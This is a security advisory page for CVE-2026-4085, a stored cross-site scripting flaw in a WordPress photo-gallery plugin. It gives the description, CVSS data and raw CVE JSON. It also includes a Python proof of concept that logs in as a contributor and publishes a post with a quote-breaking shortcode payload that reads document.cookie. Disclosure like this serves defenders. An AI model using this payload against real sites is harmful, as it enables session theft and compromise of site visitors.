Security Vulnerability Report
中文
CVE-2026-4085 CVSS 6.4 MEDIUM

CVE-2026-4085

Published: 2026-04-22 09:16:22
Last Modified: 2026-04-22 20:22:51

Description

The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute of the 'my-instagram-feed' shortcode in all versions up to, and including, 3.1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. Specifically, the plugin uses sanitize_text_field() instead of esc_attr() when outputting the 'wrapper_class' attribute inside a double-quoted HTML class attribute. Since sanitize_text_field() does not encode double quotes, an attacker can break out of the class attribute and inject arbitrary HTML event handlers. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Easy Social Photos Gallery <= 3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Easy Social Photos Gallery < 3.1.3 - Stored XSS via wrapper_class # Date: 2026-04-22 # CVE: CVE-2026-4085 import requests def exploit(target_url, username, password): session = requests.Session() # Step 1: Authenticate login_data = {'log': username, 'pwd': password, 'wp-submit': 'Log In'} session.post(f"{target_url}/wp-login.php", data=login_data) # Step 2: Inject Payload via Shortcode # sanitize_text_field() allows double quotes, breaking out of the class attribute. # Construct shortcode: [my-instagram-feed wrapper_class="x" onmouseover="alert(1)"] payload = '[my-instagram-feed wrapper_class="x" onmouseover="alert(document.cookie)"]' post_data = { 'post_title': 'Malicious Post', 'content': payload, 'post_status': 'publish' } # Step 3: Publish Post response = session.post(f"{target_url}/wp-admin/post.php", data=post_data) if response.status_code == 200: print("[+] Payload injected successfully!") else: print("[-] Exploit failed.") # Usage: exploit('http://target.com', 'contributor', 'password')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4085", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:22.417", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Easy Social Photos Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper_class' shortcode attribute of the 'my-instagram-feed' shortcode in all versions up to, and including, 3.1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. Specifically, the plugin uses sanitize_text_field() instead of esc_attr() when outputting the 'wrapper_class' attribute inside a double-quoted HTML class attribute. Since sanitize_text_field() does not encode double quotes, an attacker can break out of the class attribute and inject arbitrary HTML event handlers. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/my-instagram-feed/tags/3.1.2/frontend/class-my-instagram-feed-frontend.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-instagram-feed/tags/3.1.2/frontend/views/feed.php#L102", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-instagram-feed/trunk/frontend/class-my-instagram-feed-frontend.php#L53", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/my-instagram-feed/trunk/frontend/views/feed.php#L102", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8640724c-0bd4-4684-9fd1-027f2af64e67?source=cve", "source": "[email protected]"}]}}